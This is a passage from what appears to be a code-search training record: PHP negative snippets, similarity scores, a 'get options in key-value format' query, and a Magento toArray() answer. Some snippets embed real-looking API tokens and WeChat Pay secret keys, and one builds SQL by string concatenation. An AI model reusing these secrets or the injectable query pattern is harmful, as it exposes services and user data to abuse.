'9Dkhrlk5',\n 'txnid' => $txnid,\n 'surl'=> \"https://chaalagas.com/cng\",\n 'furl'=> 'lpgdomestic',\n 'amount' => $amount,\n 'firstname' => $firstname ,\n 'email' => $email,\n 'phone' => $phone,\n 'productinfo' => 'Security Guard Application Form Fees',\n 'amount'=> $amount\n ];\n \n $order = Indipay::prepare($parameters);\n return Indipay::process($order);\n\n $candidate = new securityappmodel;\n $candidate->firstname = $req ['firstname'];\n $candidate->middlename= $req ['middlename'];\n $candidate->lastname= $req ['lastname'];\n $candidate->mothername = $req ['mothername'];\n $candidate->fathername= $req ['fathername'];\n $candidate->mobile= $req ['phone'];\n $candidate->email= $req ['email'];\n $candidate->dob= $req ['dob'];\n $candidate->caste= $req ['caste'];\n $candidate->aadharnumber= $req ['aadharnumber'];\n $candidate->maritalstatus= $req ['maritalstatus'];\n $candidate->state= $req ['state'];\n $candidate->district= $req ['district'];\n $candidate->thesil= $req ['thesil'];\n $candidate->permanentaddress= $req ['permanentaddress'];\n $candidate->currentaddress= $req ['currentaddress'];\n $candidate->education= $req ['education'];\n $candidate->percentage= $req ['percentage'];\n $candidate->experience= $req ['experience'];\n $candidate->jobdivision= $req ['jobdivision'];\n $candidate->jobdistrict= $req ['jobdistrict'];\n $candidate-> save();\n\n $ref = $candidate->id;\n $name= $candidate->firstname;\n $candidate->referenceid = \"CGPLSG2021100$ref\";\n $newref = $candidate->referenceid;\n $candidate->save();\n\n\n return redirect(\"/\")->with('alert','Dear'.$name.' your Application is Successfully Submitted and Your Reference Nuber is'. $newref);\n \n }", "private function sign ($postbody = '')\n\t{\n\t\t$get = array ();\n\t\t$get['time'] = time ();\n\t\t$get['random'] = mt_rand ();\n\t\t$get['reseller'] = CWRESELLER_RESELLER_ID;\n\n\t\t$json = implode (',', $get) . '|' . $postbody;\n\n\t\t$privatekey = openssl_get_privatekey ('file://' . CWRESELLER_PRIVATE_KEY);\n\n\t\t$signature = null;\n\t\topenssl_sign ($json, $signature, $privatekey);\n\n\t\t$get['signature'] = base64_encode ($signature);\n\t\t$get['debug'] = isset ($_GET['debug']) ? 1 : 0;\n\n\t\treturn $get;\n\t}", "abstract function is_paying();", "public function loadSignatures(){\n $this->testFieldsSignature = [\n 'mandante' => 'teste',\n 'grupo' => 'xxx',\n ];\n }", "public function isSignatureRequired();", "public function checkOut($params = array())\r\n {\r\n $actionType = $params['actionType'];;\r\n $cancelUrl = $params['cancelUrl'];//\"http://localhost\"; \r\n $returnUrl = $params['returnUrl']; \r\n $startingDate = \"\"; \r\n \r\n $currencyCode = $params['currencyCode'];\r\n $receiverEmailArray = array();\r\n $receiverAmountArray = array();\r\n $receiverInvoiceIdArray = array();\r\n foreach($params['receivers'] as $rc)\r\n {\r\n $receiverEmailArray[] = $rc['email'];\r\n $receiverAmountArray[] = $rc['amount'];\r\n $receiverInvoiceIdArray[] = $rc['invoice'];\r\n }\r\n \r\n $receiverPrimaryArray = array();\r\n $senderEmail = $params['sender']; \r\n /**\r\n * feesPayer value {SENDER, PRIMARYRECEIVER, EACHRECEIVER}\r\n * \r\n * @var mixed\r\n */\r\n $feesPayer = $params['feesPayer']; \r\n $ipnNotificationUrl = $params['ipnNotificationUrl'];\r\n $memo = $params['memo']; \r\n $pin = $params['pin']; \r\n $preapprovalKey = $params['preapprovalKey'];\r\n //echo $preapprovalKey;\r\n $reverseAllParallelPaymentsOnError = $params['reverseAllParallelPaymentsOnError']; \r\n $trackingId = $this->generateTrackingID(); \r\n $resArray = $this->CallPay ($actionType, $cancelUrl, $returnUrl, $currencyCode, $receiverEmailArray,\r\n $receiverAmountArray, $receiverPrimaryArray, $receiverInvoiceIdArray,\r\n $feesPayer, $ipnNotificationUrl, $memo, $pin, $preapprovalKey,\r\n $reverseAllParallelPaymentsOnError, $senderEmail, $trackingId,$startingDate\r\n );\r\n \r\n\r\n \r\n $ack = strtoupper($resArray[\"responseEnvelope.ack\"]);\r\n \r\n if($ack==\"SUCCESS\")\r\n {\r\n if (\"\" == $preapprovalKey)\r\n {\r\n // redirect for web approval flow\r\n $cmd = \"cmd=_ap-payment&paykey=\" . urldecode($resArray[\"payKey\"]);\r\n //$cmd = \"cmd=_notify-validate&paykey=\" . urldecode($resArray[\"payKey\"]);\r\n \r\n $this->Redirect($cmd);\r\n }\r\n else\r\n {\r\n \r\n // payKey is the key that you can use to identify the result from this Pay call\r\n $payKey = urldecode($resArray[\"payKey\"]);\r\n // paymentExecStatus is the status of the payment\r\n $paymentExecStatus = urldecode($resArray[\"paymentExecStatus\"]);\r\n } \r\n \r\n }\r\n else\r\n {\r\n $ErrorCode = urldecode($resArray[\"error(0).errorId\"]);\r\n $ErrorMsg = urldecode($resArray[\"error(0).message\"]);\r\n $ErrorDomain = urldecode($resArray[\"error(0).domain\"]);\r\n $ErrorSeverity = urldecode($resArray[\"error(0).severity\"]);\r\n $ErrorCategory = urldecode($resArray[\"error(0).category\"]);\r\n $this->errors = $ErrorCode.':'.$ErrorMsg.' '.$ErrorDomain.' '.$ErrorSeverity.' '.$ErrorCategory;\r\n $this->logging('checkOut Error : '. $this->errors); \r\n return false;\r\n } \r\n \r\n }", "function mobile_verify($Phone,$client_transaction_id)\n{\n\n$response = file_get_contents(\"http://www.zipdial.com/z2v/startTransaction.action?customerToken=04f0294522530730a4671c96a8a35cac6c47714d&clientTransactionId=$client_transaction_id&callerid=$Phone&duration=360&countryCode=91&z2vToken=bc4e3f20bd8c7361c7a088b7b570e9d076516dd5\"); \n\t//echo $response;\n\t//echo \"<br>\";\n\t$explod = explode(\",\", $response);\n\t\t\n\t$explod2 = explode('http://www.zipdial.com', $explod[4]);\n\t//echo $explod2[1];\n\t$getImg = substr(trim($explod2[1]), 0, strlen(trim($explod2[1]))-2);\n//echo $getImg1 = substr(trim($explod2[1]), 0, strlen(trim($explod2[1]))-3);\n//echo \"<br>\";\n\t$image = \"http://www.zipdial.com\".$getImg;\n\t$img = trim(str_replace(\"\\/\", \"/\", $image));\n\t$explod31 = explode('transaction_token', $explod[2]);\n\t$explod3 = trim($explod31[1]);\n\t$transactiontoken =\texplode('/', $getImg);\n\t$transaction_token = $transactiontoken[4];\n\tif(strlen($explod2[1])>8)\n\t{\n\t\t$viewable = \"viewed\";\n\t}\n\telse\n\t{\n\t\t$viewable = \"not viewed\";\n\t}\n\t\n\t\t//\techo \"<br>\";\n $insertSql = \"INSERT INTO z2v_transactions ( client_transaction_id , zipdial_no , transaction_token , mobile , verified , created ,viewable ) VALUES ('\".$client_transaction_id.\"' , '\".$zipdial_no.\"' , '\".$transaction_token.\"' , '\".$Phone.\"' , '\".$verified.\"' , Now(), '\".$viewable.\"')\";\n \n$insertQuery = $obj->fun_db_query($insertSql);\n\t\n return $img;\n}", "function verifProduit($arrayPost)\n {\n $arrayVerif = array();\n if(isset($arrayPost['reference']))\n $arrayVerif['reference'] = filter_var($arrayPost['reference'], FILTER_SANITIZE_STRING);\n else\n $arrayVerif['reference'] = \"NA\";\n \n if(isset($arrayPost['nom']))\n $arrayVerif['nom'] = filter_var($arrayPost['nom'], FILTER_SANITIZE_STRING);\n else\n $arrayVerif['nom'] = \"NA\";\n \n if(isset($arrayPost['prix']))\n $arrayVerif['prix'] = filter_var($arrayPost['prix'], FILTER_SANITIZE_NUMBER_INT);\n else\n $arrayVerif['prix'] = -1;\n \n if(isset($arrayPost['marque']))\n $arrayVerif['marque'] = filter_var($arrayPost['marque'], FILTER_SANITIZE_NUMBER_INT);\n else\n $arrayVerif['marque'] = -1;\n \n \n return $arrayVerif;\n }", "public function testCheckArray() {\n\t\t$iniFile = CAKE . 'Test' . DS . 'test_app' . DS . 'Config'. DS . 'acl.ini.php';\n\n\t\t$Ini = new IniAcl();\n\t\t$Ini->config = $Ini->readConfigFile($iniFile);\n\t\t$Ini->userPath = 'User.username';\n\n\t\t$user = array(\n\t\t\t'User' => array('username' => 'admin')\n\t\t);\n\t\t$this->assertTrue($Ini->check($user, 'posts'));\n\t}", "public function validateSignature(array $request)\n {\n $this->assertRequestParamIsNotNull(\n $request, 'hmac', 'Expected signature in query params'\n );\n\n $hmac = $request['hmac'];\n\n return $this->generateSignature($request, '&') === $hmac;\n }", "function pay_fields() {\n\t\t// define(APPKEY ,\"2Wozy2aksie1puXUBpWD8oZxiD1DfQuEaiC7KcRATv1Ino3mdopKaPGQQ7TtkNySuAmCaDCrw4xhPY5qKTBl7Fzm0RgR3c0WaVYIXZARsxzHV2x7iwPPzOz94dnwPWSn\"); //paysign key\n\t\t// define(SIGNTYPE, \"sha1\"); //method\n\t\t// define(PARTNERKEY,\"8934e7d15453e97507ef794cf7b0519d\");//通加密串\n\t\t// define(APPSERCERT, \"09cb46090e586c724d52f7ec9e60c9f8\");\n\t\treturn array (\n\t\t\t\t'APPID' => array (\n\t\t\t\t\t\t'title' => 'APPID:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '微信公众号身份的唯一标识。审核通过后,在微信发送的邮件中查看' \n\t\t\t\t),\n\t\t\t\t'MCHID' => array (\n\t\t\t\t\t\t'title' => 'MCHID:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '受理商ID,身份标识' \n\t\t\t\t),\n\t\t\t\t'KEY' => array (\n\t\t\t\t\t\t'title' => 'KEY:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '商户支付密钥Key。审核通过后,在微信发送的邮件中查看' \n\t\t\t\t),\n\t\t\t\t'APPSECRET' => array (\n\t\t\t\t\t\t'title' => 'APPSECRET:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => 'JSAPI接口中获取openid,审核后在公众平台开启开发模式后可查看' \n\t\t\t\t),\n\t\t\t\t'NOTIFY_URL' => array (\n\t\t\t\t\t\t'title' => 'NOTIFY_URL:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '异步通知url,商户根据实际开发过程设定' \n\t\t\t\t),\n\t\t\t\t'JS_API_CALL_URL' => array (\n\t\t\t\t\t\t'title' => 'JS_API_CALL_URL:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '获取access_token过程中的跳转uri,通过跳转将code传入jsapi支付页面' \n\t\t\t\t),\n\t\t\t\t'WEIXIN_PAY_UNIT' => array (\n\t\t\t\t\t\t'title' => 'WEIXIN_PAY_UNIT:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '微信支付单位,100为元 ,10为角,1为分' \n\t\t\t\t),\n\t\t\t\t'SUCCESS_URL' => array (\n\t\t\t\t\t\t'title' => 'SUCCESS_URL:',\n\t\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t\t'value' => '',\n\t\t\t\t\t\t'tip' => '支付成功跳转页面' \n\t\t\t\t),\n\t\t);\n\t}", "public function validate_signature($params) {\n\n $new_sig = Utils::generate_signature($params['data'], $params['secret']);\n\n if ($new_sig == $params['signature']) {\n return true;\n } else {\n return false;\n }\n\n }" ]
[ "0.6652701", "0.62962973", "0.59627795", "0.59570324", "0.5901029", "0.5841826", "0.5828546", "0.5655168", "0.56427604", "0.55831355", "0.55776983", "0.55473113", "0.55456096", "0.5484807", "0.54798585", "0.54662544", "0.5455723", "0.54365903", "0.5424141", "0.54171866", "0.5400084", "0.5394506", "0.53914285", "0.53914285", "0.53914285", "0.5370594", "0.53701293", "0.53658754", "0.5338919", "0.53273845", "0.53056633", "0.52936053", "0.52868825", "0.5278407", "0.5265157", "0.5250796", "0.52505744", "0.52444786", "0.5241409", "0.52410585", "0.5235951", "0.5208822", "0.52080965", "0.5199237", "0.5176726", "0.5163386", "0.516087", "0.5156997", "0.51470655", "0.5134998", "0.51224566", "0.51182747", "0.51164204", "0.51114494", "0.51060617", "0.5087797", "0.5082453", "0.50713736", "0.5070166", "0.50577974", "0.5051183", "0.5024498", "0.5003587", "0.5002665", "0.50001657", "0.5000075", "0.49996936", "0.49984154", "0.49914163", "0.4985965", "0.49834877", "0.49663118", "0.4959662", "0.49579892", "0.4955637", "0.49522778", "0.49514502", "0.4947915", "0.49319148", "0.49310863", "0.49273384", "0.49158671", "0.49108753", "0.49071628", "0.4889825", "0.4885911", "0.48768297", "0.48751208", "0.4871128", "0.4858653", "0.48580322", "0.4850831", "0.48426214", "0.48421237", "0.48412216", "0.48320845", "0.48259777", "0.4824856", "0.48237145", "0.4823696" ]
0.54596305
16
Get options in "keyvalue" format
public function toArray() { return array( 'production' => Mage::helper('adminhtml')->__('Production'), 'staging' => Mage::helper('adminhtml')->__('Staging'), ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "function getOptions() ;", "public function getOptions() {}", "public function getOptions() {}", "public function getOptions() {}", "function getOptions();", "public function options($key=null,$value=null){\n return $this->methodsData(\"options\",$key,$value);\n }", "abstract public function getOptions();", "protected static abstract function getOptions();", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t\t\n\t\t];\n\t}", "public function getOptions(){ return $this->option_map; }", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t\t\n\t\t);\n\t}", "public function getOptions()\n { return $this->get('options'); }", "public function options($key){\n\t\t$vars = get_object_vars($this);\n\t\treturn $vars[$key];\n\t}", "function getOptions()\n\t{\n\t\t\n\t\treturn $this->getAssoc(Array('id','title')/*, $cond*/);\n\t}", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "public function getOptions(): array;", "protected function getOptions() {}", "protected function getOptions() {}", "protected function getOptions() {}", "public function getOptions()\n {\n return $this->optionRequested->get();\n }", "protected function getOptions()\r\n\t{\r\n\t\treturn array();\r\n\t}", "public function getOptions() : array;", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t];\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn array();\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn [];\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n\t{\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n {\n return array(\n\n );\n }", "public function getDefinedOptions();", "public function getOptions()\n\t{\n\t\t$options = get_option($this->optionVar);\n\t\tif($options) {\n\t\t\t$this->options = unserialize($options);\n\t\t} else {\n\t\t\t$this->options = [];\n\t\t}\n\t}", "public function getOptions()\n {\n return $this->get(self::OPTIONS);\n }", "public function getOptions()\r\n {\r\n }", "public function getOption($key);", "protected function getOptions()\r\n {\r\n return [\r\n\r\n ];\r\n }", "protected function getOptions() {\n\t\treturn array(\n\t\t);\n\t}", "protected function getOptions()\n {\n return array(\n array('show', null, InputOption::VALUE_NONE, 'Simply display the key instead of modifying files.'),\n );\n }", "function get_options(){\n\t\treturn $this->options;\n\t}", "protected function getOptions()\n {\n return array(\n );\n }", "protected function getOptions()\n {\n return array(\n );\n }", "protected function getOptions()\n {\n return array(\n );\n }", "public function tOptions()\n {\n return json_encode($this->options);\n }", "protected function get_options()\n\t{}", "protected function getOptions() {\n\t\treturn array();\n\t}", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return [\n ];\n }", "protected function getOptions()\n {\n return array();\n }", "protected function getOptions()\n {\n return array();\n }", "protected function getOptions()\n {\n return array();\n }", "protected function getOptions()\n {\n return array();\n }" ]
[ "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.74328315", "0.7415759", "0.7171282", "0.7171282", "0.7170338", "0.715358", "0.7130813", "0.71119815", "0.7080159", "0.70798427", "0.70220464", "0.7014003", "0.7014003", "0.7014003", "0.7014003", "0.70080316", "0.700238", "0.69792813", "0.697232", "0.697232", "0.697232", "0.697232", "0.697232", "0.697232", "0.697232", "0.69302046", "0.69302046", "0.692995", "0.6908557", "0.68692964", "0.68433887", "0.6842288", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.68184125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.6816125", "0.68156815", "0.68156815", "0.68156815", "0.68156815", "0.68156815", "0.68156815", "0.68156815", "0.67935544", "0.6788456", "0.67771614", "0.6765839", "0.67593277", "0.6759029", "0.6756265", "0.6754667", "0.6749502", "0.6743418", "0.6716026", "0.6716026", "0.6716026", "0.6713888", "0.67038506", "0.67010856", "0.6656002", "0.6656002", "0.6656002", "0.6656002", "0.6656002", "0.6647179", "0.6647179", "0.6647179", "0.6647179" ]
0.0
-1
Main entry point to the application
public function extract(Route $route, AdapterInterface $console) { $startUrl = $route->getMatchedParam('url'); $outputFile = $route->getMatchedParam('out'); $formatClass = '\\Scraper\\Format\\' . ucwords(strtolower($route->getMatchedParam('format'))); //we set the http client now so that any filters in the configuration can have access to it. I suspect we can find a better way of injecting these though. //Config files can also use $this->setHttpClient to override with their custom version (see test config for example) $this->initDefaultHttpClient($startUrl); $config = $this->getConfiguration($route->getMatchedParam('config')); $scraper = new \Scraper\HtmlScraper($this->getHttpClient()->getHtml(basename($startUrl)), $config); $scraped = $scraper->scrape(); if (!class_exists($formatClass)) { throw new \Exception("Invalid format"); } // using variable class names is to be enjoyed with care, but is a good use in this case... $converted = new $formatClass(); if (!is_writable(dirname($outputFile))) { throw new \Exception("Could not write to file $outputFile"); } file_put_contents($outputFile, $converted->getConverted($scraped)); $console->writeLine("Completed, data written to $outputFile"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function main(){\n\t\t\t\n\t\t}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main() {}", "public function main()\n\t{\n\t}", "public function main()\n\t{\n\t\t$this->loadConfig();\n\t\t$this->validateProject();\n\t\t$this->cleanConfig();\n\t\t$this->installDependencies();\n\t\t$this->createAutoload();\n\t\t$this->finish();\n\t}", "public function main();", "protected function main()\n /**/\n {\n parent::run();\n }", "public function main()\r\n {\r\n \r\n }", "public static function main()\n {\n self::initConfig(); \n \n /* Configuracion de manejo de error y Locale */\n self::initEnvironmet();\n \n /* Inicializa Layout */\n self::initLayout();\n \n /* Base de Datos*/\n self::initDataBase();\n \n /*Lenjuaje*/\n self::initLanguaje();\n \n /* Front Controller y Dispatch */\n /*Agregar cualquier otra función antes de esta*/\n self::initFrontController();\n \n \n }", "public function main()\n {\n\n }", "public static function main() {\n\t\tTestRunner::run( self::suite() );\n\t}", "public static function main()\n {\n $init = new Init();\n $init->preRun();\n $init->run();\n }", "public static function run()\n {\n static::$app->run();\n }", "public static function main()\n {\n\n PHPUnit_TextUI_TestRunner::run(self::suite());\n }", "public abstract function Main();", "public function startup();", "public static function Main() {\n $routes = New Router();\n \n $routes->index();\n }", "function main() {\n\t\tif (!$this->_registerPid()) {\n\t\t\t$this->out('Unable to register Pid');\n\t\t\t$this->_stop();\n\t\t}\n\t\tif (file_exists($this->params['working'] . DS . '.autotest')) {\n\t\t\tinclude($this->params['working'] . DS . '.autotest');\n\t\t}\n\t\tif (!empty($this->params['notify'])) {\n\t\t\t$this->settings['notify'] = $this->params['notify'];\n\t\t}\n\t\tif (!empty($this->params['mode'])) {\n\t\t\t$this->settings['mode'] = $this->params['mode'];\n\t\t}\n\t\t$suffix = '';\n\t\tif (!empty($this->settings['mode'])) {\n\t\t\t$suffix = ' (' . $this->settings['mode'] . ' mode)';\n\t\t}\n\n\t\tNotify::$method = $this->settings['notify'];\n\t\t$this->addHooks();\n\t\tNotify::message('Autopilot Starting', 'in ' . APP_DIR . $suffix, 0, false);\n\t\t$this->buildPaths();\n\t\t$this->run();\n\t}", "public static function main()\n {\n PHPUnit_TextUI_TestRunner::run(self::suite());\n }", "public static function main()\n {\n PHPUnit_TextUI_TestRunner::run(self::suite());\n }", "public static function main()\n {\n PHPUnit_TextUI_TestRunner::run(self::suite());\n }", "public function index()\n {\n $this->main();\n }", "public function index()\n {\n $this->main();\n }", "function main(){\n\n //---Initialization code------------------------------\n App::import('Core', array('View', 'Controller'));\n App::import('Controller', array('Notifications'));\n $this->NotificationsController = new NotificationsController();\n $this->NotificationsController->constructClasses();\n\n //==============END OF SECTION =======================\n\n $this->NotificationsController->check_notification();\n exit;\n }", "public static function run() {\n\t}", "function main()\r\n {\r\n App::import('Model', 'Setting');\r\n $setting_model_obj = new Setting();\r\n $settings = $setting_model_obj->getKeyValuePairs();\r\n Configure::write($settings);\r\n\t\t// include cron component\r\n App::import('Core', 'ComponentCollection');\r\n \t$collection = new ComponentCollection();\r\n App::import('Component', 'Cron');\r\n $this->Cron = &new CronComponent($collection);\r\n $option = !empty($this->args[0]) ? $this->args[0] : '';\r\n $this->log('Cron started without any issue');\r\n if (!empty($option) && $option == 'main') {\r\n $this->Cron->main();\r\n }\r\n }", "public function getMain();", "public function getMain();", "public function run(){\n $this->app->run();\n }", "function main()\n\t{\n\t\t//Accedemos al metodo del controlador que nos trae la consulta\n\t\t$fecha = $this->Model->metodo(1);\n\n\t\t$hello \t= \"Hello World!\";\n\n\t\t//Metodo que renderiza la vista\n\t\t$this->view('index/main', compact('hello','fecha'));\n\t}", "function main()\n{\n global $app, $globalSettings;\n\n $filter = getFilter();\n $books1 = $app->calibre->last30Books($globalSettings['lang'], $globalSettings[PAGE_SIZE], $filter);\n $books = array_map('checkThumbnail', $books1);\n $stats = $app->calibre->libraryStats($filter);\n $app->render('index_last30.html', [\n 'page' => mkPage(getMessageString('dl30'), 1, 1),\n 'books' => $books,\n 'stats' => $stats]);\n}", "public static function main() {\n PHPUnit_TextUI_TestRunner::run(new PHPUnit_Framework_TestSuite(__CLASS__));\n }", "public static function main() {\n PHPUnit_TextUI_TestRunner::run(new PHPUnit_Framework_TestSuite(__CLASS__));\n }", "public static function main()\n {\n $oAuth2Credential = (new OAuth2TokenBuilder())->fromFile()\n ->build();\n\n // Construct an API session configured from an `adsapi_php.ini` file\n // and the OAuth2 credentials above.\n $session = (new AdManagerSessionBuilder())->fromFile()\n ->withOAuth2Credential($oAuth2Credential)\n ->build();\n\n self::runExample(\n new ServiceFactory(),\n $session,\n intval(self::BUYER_ID),\n intval(self::PRIMARY_SALESPERSON_ID),\n intval(self::PRIMARY_TRAFFICKER_ID),\n intval(self::ADVERTISER_ID)\n );\n }", "public function run()\n {\n $this->welcome();\n }", "public static function main()\n {\n $suite = new TestSuite(\"Zend_Controller_Action_Helper_FlashMessengerTest\");\n $result = (new resources_Runner())->run($suite);\n }", "public function bootstrap();", "public function bootstrap();", "public function main()\n {\n return null;\n }", "public static function main()\n {\n $suite = new TestSuite(__CLASS__);\n $result = (new resources_Runner())->run($suite);\n }", "public function index()\n {\n // load function main\n $this->main();\n }", "public function main()\n {\n try {\n $routes = require_once 'routes.php';\n\n //Initialize Altorouter\n $router = new AltoRouter();\n\n $router->setBasePath('');\n\n //Register routes from routes.php file and map them on Alto Router\n $this->registerRoutes($router, $routes);\n\n //Match coming request with mapped routes using Alto Router\n $match = $router->match();\n if ($match) {\n\n $request = new Request();\n $request->populate();\n $request->appendQueryParams($match['params']);\n //Get method name from route name/key\n $methodName = $this->getMethodNameFromRouteName($match['name']);\n\n //Set action method name in request object\n $request->setControllerActionMethod($methodName);\n\n //Apply pre Middlewares\n $this->callMiddlewares($request, $match['name'], $routes, MiddlewareType::PRE);\n\n //Require controller\n $this->requireControllerAndCheckMethod($match['target'], $methodName);\n $controllerName = '\\App\\Controllers\\\\' . $match['target'] . controllerSuffix();\n $controllerObj = new $controllerName();\n list($status, $body) = $controllerObj->{$methodName}($request);\n //Apply post Middlewares\n $this->callMiddlewares($request, $match['name'], $routes, MiddlewareType::POST);\n } else {//404 not found\n $status = ResponseCodes::HTTP_NOT_FOUND;\n $body = getViewHtml('404');\n }\n // Set HTTP header\n $statusHeader = 'HTTP/1.1 ' . $status . ' ' . getStatusCodeMessage($status);\n header($statusHeader, true, intval($status));\n\n // Encode json\n echo $body;\n } catch (Exception $exception) {\n throw $exception;\n }\n }", "public static function main()\n {\n $suite = new TestSuite(\"Zend_Form_Decorator_LabelTest\");\n $result = (new resources_Runner())->run($suite);\n }", "public static function main()\n {\n $suite = new TestSuite(\"Zend_Form_Decorator_ViewHelperTest\");\n $result = (new resources_Runner())->run($suite);\n }", "public static function main()\n {\n $oAuth2Credential = (new OAuth2TokenBuilder())->fromFile()\n ->build();\n\n // Construct an API session configured from a properties file and the\n // OAuth2 credentials above.\n $session = (new AdManagerSessionBuilder())->fromFile()\n ->withOAuth2Credential($oAuth2Credential)\n ->build();\n\n self::runExample(\n new AdManagerServices(),\n $session,\n intval(self::RECONCILIATION_REPORT_ID),\n intval(self::RECONCILIATION_REPORT_ROW_ID)\n );\n }", "public function run() {\n\t\t$this->create_instances();\n\t\t$this->register_hooks();\n\t}", "public function main()\n {\n $di = $this->getDI();\n\n if (self::$isCli) {\n global $argv;\n\n $arguments = array();\n foreach ($argv as $k => $arg) {\n if ($k == 1) {\n $arguments['task'] = $arg;\n } elseif ($k == 2) {\n $arguments['action'] = $arg;\n } elseif ($k >= 3) {\n $arguments['params'][] = $arg;\n }\n }\n\n // define global constants for the current task and action\n define('CURRENT_TASK', (isset($argv[1]) ? $argv[1] : null));\n define('CURRENT_ACTION', (isset($argv[2]) ? $argv[2] : null));\n\n $this->console->handle($arguments);\n\n } else {\n // Get the 'router' service\n $this->router->handle();\n\n\n // Pass the processed router parameters to the dispatcher\n $this->dispatcher->setNamespaceName($this->router->getNamespaceName());\n $this->dispatcher->setControllerName($this->router->getControllerName());\n $this->dispatcher->setActionName($this->router->getActionName());\n $this->dispatcher->setParams($this->router->getParams());\n\n // Dispatch the request\n $controller = $this->dispatcher->dispatch();\n\n // Find the name space added directory\n $namespaceExtension = explode('Controllers\\\\', $this->router->getNamespaceName());\n $namespaceDirectory = strtolower($namespaceExtension[count($namespaceExtension)-1]);\n\n if ($namespaceDirectory != '') {\n $namespaceDirectory .= '/';\n }\n\n // Start the view\n $view = $controller->view;\n $view->start();\n\n // Render the related views\n $view->render(\n $namespaceDirectory.$this->dispatcher->getControllerName(),\n $this->dispatcher->getActionName(),\n $this->dispatcher->getParams()\n );\n\n // Finish the view\n $view->finish();\n\n $response = $controller->response;\n\n // Pass 